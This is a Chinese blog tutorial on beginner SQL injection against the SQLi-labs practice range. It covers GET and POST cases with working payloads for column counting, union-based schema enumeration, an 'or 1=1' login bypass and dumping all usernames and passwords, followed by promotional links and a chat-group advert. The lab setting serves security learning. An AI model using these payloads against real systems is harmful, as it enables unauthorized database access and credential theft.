一篇文章教你玩转，入门级 SQL 注入实战！

悠悠 2024-05-23 18:40 56阅读 0赞

![5ed80d7da6904639a76a02864c8beec2.png][]

[2024软件测试面试刷题，这个小程序（永久刷题），靠它快速找到工作了！（刷题APP的天花板）\_软件测试刷题小程序-CSDN博客文章浏览阅读3k次，点赞86次，收藏13次。你知不知道有这么一个软件测试面试的刷题小程序。里面包含了面试常问的软件测试基础题，web自动化测试、app自动化测试、接口测试、性能测试、自动化测试、安全测试及一些常问到的人力资源题目。最主要的是他还收集了像阿里、华为这样的大厂面试真题，还有互动交流板块……\_软件测试刷题小程序编辑https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502编辑https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502编辑https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502编辑https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502编辑https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502编辑https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502编辑https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502编辑https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502![icon-default.png?t=N7T8][icon-default.png_t_N7T8]https://blog.csdn.net/AI\_Green/article/details/134931243?spm=1001.2014.3001.5502][2024_APP_-CSDN_3k_86_13_web_app_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_icon-default.png_t_N7T8_icon-default.png_t_N7T8_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502]

SQL注入原理可描述为通过用户可控参数中注入SQL语法，在程序员未对输入数据合法性做判断或过滤不严情况下，破坏原有SQL结构，达到编写程序时意料之外的结果。上篇文章已经搭建好了SQLi-labs靶场，一共包含65关，适用于GET和POST场景。接下来让我们开始SQL注入实战！

### **一、实战准备** ###

安全测试靶场：SQLi-labs

工具：Firefox、Firefox插件HackBar、burpsuite或任意抓包工具

### **二、SQL注入思路** ###

1、判断是否存在SQL注入漏洞

2、猜解SQL查询语句中的字段数

3、获取当前数据库

4、获取数据库中的表

5、获取表中的字段名

6、获取指定字段的数据

### **三、SQL注入实战-Get场景** ###

进入SQLi-labs的Less-1关，输入id的值

**1、id=1' ，发起请求，返回SQL语法错误**

![图片][901ef859a3597ae7e0f6901978815b0a.png_wx_fmt_png_from_appmsg_tp_wxpic_wxfrom_5_wx_lazy_1_wx_co_1]

**2、id = 1'--+；程序未对输入内容做限制, 语句执行成功，页面返回了id=1的用户信息，存在SQL注入漏洞**

![图片][1582f6faab90ee6075859ff9df283491.png]

**3、判断当前表的字段数**

select \* from users where id='1' order by 1; 该语句中order by 1为按第1列的数据进行排序。

输入 id=1' order by 3 \#，回显数据正常，表示当前查询表存在第3列数据。

![图片][3df6cb8e8f1ad6957167fbebcbae3ed7.png]

输入 id=1' order by 4 \#，报错！不存在第4列，说明当前查询的用户表数据一共只有3列！

![图片][224502f4db95ff0d6c4d5ec4afa3fda6.png]

**4、获取数据库库名**

使用union联合查询，让union前面的select语句查询为空，然后采用后面的select语句查询并输出。

id=' union select 1,2,group\_concat(schema\_name) from information\_schema.schemata \#; 可回显所有的数据库库名。

![图片][1fda3f1ee098fa3030749d108fccc75a.png]

**5、获取数据库的表名**

id=' union select 1,2,group\_concat(table\_name) from information\_schema.tables where table\_schema='security' \#；获取到security库的所有表名。

![图片][282dfc66da60463dade0f1840e198a2e.png]

**6、获取表中的字段名**

id=' union select 1,group\_concat(column\_name) from information\_schema.columns where table\_name='users' \#；其中，如果不支持'users'单引号，可转为十六进制，7573657273为users的十六进制。得到users表的所有字段。

![图片][a4ff5879da2a5d0be4e1cf4fa2063735.png]

**7、获取表中需要的数据**

id=' union select 1,2,group\_concat(concat\_ws('~',username,password)) from security.users \#;

可以得到users表中所有用户和密码信息。其中7e是~的十六进制表示。

![图片][bd7d2c2e15ce99f5a60b56356de2fe1d.png]

### **四、SQL注入实战-POST场景** ###

进入SQLi-labs的Less-11关，输入Username、Password。

**1、判断是否存在sql注入漏洞**

在username中填写’，password中随便写，出现sql语法错误。或者通过bp截获到请求信息，uname=’ & passwd=1&submit=Submit。

![图片][1db2e5761a9ded42370aef77d1929437.png]

直接在username中填写admin’or 1=1\#，password随便写，此时登录成功，Username存在SQL注入漏洞。Password同理。

![图片][d9aa4effbcd304c94ba0c5cd4ee226ff.png]

**2、判断当前查询表的字段数**

通过burpsuite截获数据(用任意抓包工具都可)，并发送到Repeater，修改数据并进行重发：

![图片][5c46916ea8213d9cdb115afedc480606.png]

在burpsuite中分别修改数据，进行后续步骤的操作：

uname=admin’order by 3\#&passwd=a&submit=Submit 或者是使用uname=admin&passwd=a’order by 2\# &submit=Submit 同样可以进行判断，最后得出一共有两列。

![图片][eeb29e849bb872b115884a1f91cd58ed.png]

![图片][00711af47ed49e8f1652f6022acd87ea.png]

**3、获取当前数据库名**

uname=a&passwd=a’union select database(),2 \# &submit=Submit查询到当前的数据库为security，或者使用：uname=a’ union select database(),2 \# & passwd=a&submit=Submit均可查询到当前数据库，当然也可以查询其它信息。

![图片][6d0c0a5903ba34271b1c7b91e9eea3f6.png]

**4、获取当前数据库下的表名**

uname=a' union select 1, (select group\_concat(table\_name) from information\_schema.tables where table\_schema='security')\# &passwd=a&submit=Submit可以得到security数据库中所有的表信息

![图片][9ee076b98c7b710fdefe3afef93a9a28.png]

**5、获取表中字段名**

uname=a%27 union select 1,group\_concat(column\_name) from information\_schema.columns where table\_name='users'\#&passwd=a&submit=Submit 可以得到users表所有字段值信息，为id，username、password

![图片][53b3b0232afc1775f79384041f0ad04e.png]

**6、获取表中数据**

uname=a%27 union select 1,group\_concat(concat\_ws('~',username,password)) from security.users\#&passwd=a&submit=Submit，可以得到users表所有用户及密码信息。

![图片][155902c93902c8593696c150511d40e9.png]

> 当然，以上基于sqli-labs的注入实操只是入门级，感兴趣的同学可以继续钻研其他关卡！

学无止境，行以致远！

行动吧，在路上总比一直观望的要好，未来的你肯定会感谢现在拼搏的自己！如果想学习提升找不到资料，没人答疑解惑时，**请及时加入群： 759968159**，里面有各种测试开发资料和技术可以一起交流哦。

**最后：** 下方这份完整的软件测试视频教程已经整理上传完成，需要的朋友们可以自行领取**`【保证100%免费】`**

![06b7bc1a690d4c4f826248342215214c.png][]

**软件测试面试文档**

我们学习必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有字节大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。![在这里插入图片描述][cc56d6ee4baf482688db0e1410e2bb51.png]

![在这里插入图片描述][755123cb1321421b96888db976754489.png]

![3010ebc19b1042d4a4e99e0c9334bb1c.gif][]

[5ed80d7da6904639a76a02864c8beec2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/807578dc1cfc4c658a8e587fa41f254f.png
[icon-default.png_t_N7T8]: https://csdnimg.cn/release/blog_editor_html/release2.3.6/ckeditor/plugins/CsdnLink/icons/icon-default.png?t=N7T8
[2024_APP_-CSDN_3k_86_13_web_app_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502_icon-default.png_t_N7T8_icon-default.png_t_N7T8_https_blog.csdn.net_AI_Green_article_details_134931243_spm_1001.2014.3001.5502]: https://blog.csdn.net/AI_Green/article/details/134931243?spm=1001.2014.3001.5502
[901ef859a3597ae7e0f6901978815b0a.png_wx_fmt_png_from_appmsg_tp_wxpic_wxfrom_5_wx_lazy_1_wx_co_1]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/8ce034d6feda4202864bd15676aa1a44.png
[1582f6faab90ee6075859ff9df283491.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/1d999c989b8e4146a126b97d76ad2f87.png
[3df6cb8e8f1ad6957167fbebcbae3ed7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/b99df9d5bade4d1a88c8720c83b7cef3.png
[224502f4db95ff0d6c4d5ec4afa3fda6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/0a40b4d4b72747ee93aba97463facda3.png
[1fda3f1ee098fa3030749d108fccc75a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/001f3be47c854c4ab7b318ff187b9a6a.png
[282dfc66da60463dade0f1840e198a2e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/5684186142d24504ad8470312b996879.png
[a4ff5879da2a5d0be4e1cf4fa2063735.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/0a9a84684a244727800909e4a5b15204.png
[bd7d2c2e15ce99f5a60b56356de2fe1d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/93e486d79a774027b8359d21ff1d37b6.png
[1db2e5761a9ded42370aef77d1929437.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/34078ab74aab4ffb9e5151aeac671a0b.png
[d9aa4effbcd304c94ba0c5cd4ee226ff.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/5e4d2f27b7564f6d93f17a3a62d1cace.png
[5c46916ea8213d9cdb115afedc480606.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/db376546db6944c6a2699b5c253ef5fc.png
[eeb29e849bb872b115884a1f91cd58ed.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/caeff80d8ba94e18906d4ac7a5a0616f.png
[00711af47ed49e8f1652f6022acd87ea.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/5e72c6c7481a4b3eb04becfd7631ce0e.png
[6d0c0a5903ba34271b1c7b91e9eea3f6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/c5ca27a32fd3411693f25daae0bf247b.png
[9ee076b98c7b710fdefe3afef93a9a28.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/c9c64790f4d046739d0ec23de1cbff84.png
[53b3b0232afc1775f79384041f0ad04e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/9b183d3bbebf4f859d9a378fd6782490.png
[155902c93902c8593696c150511d40e9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/9472a4a716d841d7a5520d74e0e8d462.png
[06b7bc1a690d4c4f826248342215214c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/62cf648d534e4f7ebed1242081cf3258.png
[cc56d6ee4baf482688db0e1410e2bb51.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/64ffeab46971441b86a77295123b4bcc.png
[755123cb1321421b96888db976754489.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/44d3a44a609043a2a3a81a3b3ba66877.png
[3010ebc19b1042d4a4e99e0c9334bb1c.gif]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/6b156342b67744f78b1ad229b7278370.gif